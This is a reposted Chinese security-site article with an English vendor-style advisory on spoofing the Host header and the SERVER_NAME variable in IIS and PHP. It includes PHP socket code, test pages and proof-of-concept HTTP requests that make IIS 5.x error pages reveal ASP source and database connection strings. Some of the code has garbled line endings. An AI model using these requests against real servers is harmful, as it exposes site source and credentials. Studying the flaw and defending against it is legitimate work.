| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 
课件制作网.
收藏本站
设为首页
安全365
Hostname欺骗导致PHP/ASP程序泄露敏感信息
Hostname欺骗导致PHP/ASP程序泄露敏感信息
作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-25 11:15:35
这2天看到老外在讨论hostname欺骗.才想起去年12月我整了一篇这个。当时拿到邪恶幻想去讨论。好象都没怎么看懂。我贴出来,大家讨论一下。付上老外的。

2004-12-04 01:47
首先来了解一下HOSTNAME如何欺骗
我们写入文件
<?
$sock =fsockopen("127.0.0.1",80);
$in = "GET /1.phprn";
$in .="HOST:[url]www.bugkidz.org[/url]/r/n";
fputs($sock,$in);
while (!feof($sock)) {
echo fgets($sock, 128);
}
fclose($sock);

?>
用这个PHP文件请求1.php。付上1.php的代码
<?
echo "SERVER_NAME:".$_SERVER["SERVER_NAME"]."<br>";
echo "SERVER_SOFTWARE:".$_SERVER["SERVER_SOFTWARE"]."<br>";
echo "SERVER_PROTOCOL:".$_SERVER["SERVER_PROTOCOL"]."<br>";
echo "HTTP_HOST:".$_SERVER["HTTP_HOST"]."<br>";

?>

返回:
HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Fri, 03 Dec 2004 16:36:39 GMT X-Powered-By: ASP.NET Content-type: text/html X-Powered-By: PHP/4.3.9 SERVER_NAME:www.bugkidz.org
SERVER_SOFTWARE:Microsoft-IIS/5.1
SERVER_PROTOCOL:HTTP/0.9
HTTP_HOST:www.bugkidz.org
这样达到了HOSTNAME欺骗的效果
再来看这段请求
<?
$sock =fsockopen("127.0.0.1",80);
$in = "GET [url]http://127.0.0.1/1.php[/url]/r/n";
$in .="HOST:[url]www.bugkidz.org[/url]/r/n";
fputs($sock,$in);
while (!feof($sock)) {
echo fgets($sock, 128);
}
fclose($sock);

?>

这次返回
HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Fri, 03 Dec 2004 16:38:44 GMT X-Powered-By: ASP.NET Content-type: text/html X-Powered-By: PHP/4.3.9 SERVER_NAME:127.0.0.1
SERVER_SOFTWARE:Microsoft-IIS/5.1
SERVER_PROTOCOL:HTTP/0.9
HTTP_HOST:www.bugkidz.org
这次返回的SERVER—NAME为正常的SERVER-NAME。
那么HOSTNAME欺骗能干什么?首先相对于一台独立的主机上面的PHP/ASP程序。如果依靠HOSTNAME来配置的话,比如某些论坛安装的时候,叫你配置URL,比如配置的URL是http://www.bugkidz.org/bbs/。这个时候我们采用HOSTNAME欺骗,因为我们直接登陆到IP上发包。
请求一个带有论坛URL配置的文件,这个文件一般在全局变量中。这个请求是成功被请求的,如果这个PHP/ASP程序依靠HOSTNAME变量来操作,代入的是一个欺骗HOSTNAME直,
那么就要暴错。一般来说是这样的。PHP暴出绝对路径,ASP程序则可能暴出MDB的数据库位置。PHP的例子有PHPMYADMIN,ASP我没测试。
AMANL写的ASP测试代码
<%
Response.Write("SERVER_NAME:")
Response.Write Request.ServerVariables("SERVER_NAME")
Response.Write("<br>")
Response.Write("SERVER_SOFTWARE:")
Response.Write(Request.ServerVariables("SERVER_SOFTWARE"))
Response.Write("<br>")
Response.Write("SERVER_PROTOCOL:")
Response.Write(Request.ServerVariables("SERVER_PROTOCOL"))
Response.Write("<br>")
Response.Write("HTTP_HOST:")
Response.Write(Request.ServerVariables("HTTP_HOST"))
%>

老外的
It is possible to remotely spoof the "SERVER_NAME" Microsoft? Internet Information Server? 5.0, 5.1 and 6.0 server variable by doing a modified HTTP request. Thus potentially revealing sensitive ASP code through the IIS 500-100.asp error page, the spoof also opens up a potential range of exploits in third party web applications and web services.

Technical Description
Microsoft? IIS 5.x ? shows sensitive information if the "SERVER_NAME" IIS 5.x server variable is "localhost". If a IIS 5.x ASP page has an error, the code on the fault line in the ASP page is shown in the browser, but only if"SERVER_NAME" IIS server variable is "localhost". One can spoof the "SERVER_NAME" IIS server variable so that it shows whatever one want. Other third party web applications or web services may also be vulnerable if authentication depends on the validity this server variable. IIS 6.0 is vulnerable to the spoof, but it's 500-100.asp page is not vulnerable.

The IIS server variable that can be spoofed is the "SERVER_NAME", it can be accessed through request.servervariables("SERVER_NAME") with ASP, and HttpContext.Current.Request.ServerVariables("SERVER_NAME") with .NET, other programming languages have other methods to access this server variable, but are equally vulnerable.

If the HTTP request comes from a remote client, then the server variable "SERVER_NAME" returns the IP address of the web server itself. If the HTTP request came from the same IP as the web server (thus the request came from the an authenticated user browsing from the web server itself), then request.servervariables("SERVER_NAME") returns "localhost". This fact is used as "proof" in web applications or web services that the person browsing the web server is in fact browsing from the web server itself. The web applications or web services may use this proof to display an administrative interface to the web browser user if such is the case. One exploitable example is the IIS 5.x 500-100.asp page(Note: the IIS 6.0 500-100.asp page is no vulnerable); the page uses the server variable to determine if to display the code where the error occurred.

The technical description of the server variable is "The server's host name, DNS alias, or IP address as it would appear in self-referencing URLs", it is therefore often used to determine the IP address of the web server itself in once code, this opens up for a range of exploits including cookie-stealing, data redirection, and other URL manipulation issues.

There are many other applications that utilize validity of this server variable, and MSDN holds many examples for developers that are easily exploitable with this bug; among the most serious are the Microsoft? .NET Passport SDK examples, any web application or web service based on these examples are probably vulnerable due to the bug.

Vendor Status: Notified 28. January 2005 but still no fix availible.

Confirmed applications: Microsoft? Internet Information Server? 5.0, Microsoft? Internet Information Server? 5.1 and Microsoft? Internet Information Server? 6.0.

Confirmed platforms: Microsoft? Windows? 2000 with SP4, Microsoft? Windows? XP Professional with SP2, Microsoft? Windows? 2003 with SP1.

Proof of concept #1
Ok, you will need some sort of telnet client for this:

1. Create a ASP called test.asp on the IIS web root and add the following code:
<% response.write request.servervariables("SERVER_NAME") %>

2. Try and access it from a remote server with telnet. Use the following HTTP request(Note: always do a double ENTER after a HTTP request to indicate end of request message):
GET /test.asp HTTP/1.0

3. The reply is the IP address of the web server, as one would expect.
4. Try and access it from the webserver itself. Use the following HTTP request:
GET /test.asp HTTP/1.0

5. The reply is "localhost", as one would expect.
6. Try and access it from a remote server with telnet again. This time use the following HTTP request:
GET http://localhost/test.asp HTTP/1.0

7. It replies "localhost", you have just fooled IIS to think that the HTTP request came from a user browsing from the web server itself.

Proof of concept #2
This PoC will show you how to get IIS 5.x to reveal code in a page that is not functioning correctly by tricking IIS's 500-100.asp to think that the HTTP request came from the webserver itself. In the IIS page 500-100.asp that reveals the ASP code if an error occurres. The 500-100.asp code snip looks like this(take especially note of the bold letters):

--- Snip from the IIS file <webroot>/IISHelp/common/500-100.asp ---
strServername = LCase(Request.ServerVariables("SERVER_NAME"))
strServerIP = Request.ServerVariables("LOCAL_ADDR")
strRemoteIP = Request.ServerVariables("REMOTE_ADDR")
If (strServername = "localhost" Or strServerIP = strRemoteIP) And objASPError.File "?" Then
Response.Write Server.HTMLEncode(objASPError.File)
If objASPError.Line > 0 Then Response.Write ", line " & objASPError.Line
If objASPError.Column > 0 Then Response.Write ", column " &
objASPError.Column Response.Write "<br>"
Response.Write "<font style=""COLOR:000000; FONT: 8pt/11pt courier
new""><b>"
Response.Write Server.HTMLEncode(objASPError.Source) & "<br>"
If objASPError.Column > 0 Then Response.Write String((objASPError.Column - 1),
"-") & "^<br>"
Response.Write "</b></font>"
blnErrorWritten = True
End If
...

Here you see that Microsoft? assumes that if the Request.ServerVariables("SERVER_NAME") equals "localhost"then the code where the bug happened is returned to the client making the HTTP request.
A normal HTTP request might look like this:
GET /test.asp HTTP/1.0

But by adding "http://localhost/" then you will see that the contents of Request.ServerVariables("SERVER_NAME") changes to "localhost". Like this:
GET http://localhost/test.asp HTTP/1.0

Not only localhost works, one can fake it to anything:
GET http://www.someserver.xom/test.asp HTTP/1.0
GET http://198.2.168.1/test.asp HTTP/1.0

Now, armed with this knowledge, let us ge down-and dirty to reveal some code remotely:

1. Create a global.asa file on the root of your IIS web root that has the following contents:
<script LANGUAGE=VBScript RUNAT=Server>
sub Application_OnStart()
Application("SQLConn") = Provider='sqloledb';Data Source=192.168.2.1;Initial Catalog=Test;User Id=someuser;Password=somepassword;"
end sub
</script>

2. Try and access the web from a remote server with telnet. Use the following HTTP request:
GET / HTTP/1.0

3. The reply does not reveal the code on the "Application("SQLConn")..." line, as it should since IIS 5.x recognizes you as beeing on a remote client. It does however tell you that there is a error on the page.

4. Now try the following HTTP request instead:
GET http://localhost/ HTTP/1.0

5. The reply displays the code, since the IIS server thinks you are browsing from the webserver:

Microsoft VBScript compilation (0x800A03EA) Syntax error 127.0.0.1//global.asa, line 3, column 34
Application("SQLConn") = Provider='sqloledb';Data Source=192.168.2.1;Initial Catalog=Test;User Id=someuser;Password=somepassword;" 【转自世纪安全网 http://www.21safe.com】
文章录入:admin    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    支点网遭遇持续DDOS攻击
    中国发生大面积网络瘫痪
    DDoS攻击:“缓存溢出”
    支点网遭遇持续DDOS攻击
    中国发生大面积网络瘫痪
    DDoS攻击:“缓存溢出”
    Cisco Secure Desktop多
    Cisco Secure Desktop多
    Toshiba蓝牙协议栈驱动远
    phpBB News Defilante H

    Copyright © 2006-2008 www.anquan365.com 安全365
    建议使用1024*768分辨率及第三方浏览器对本站进行浏览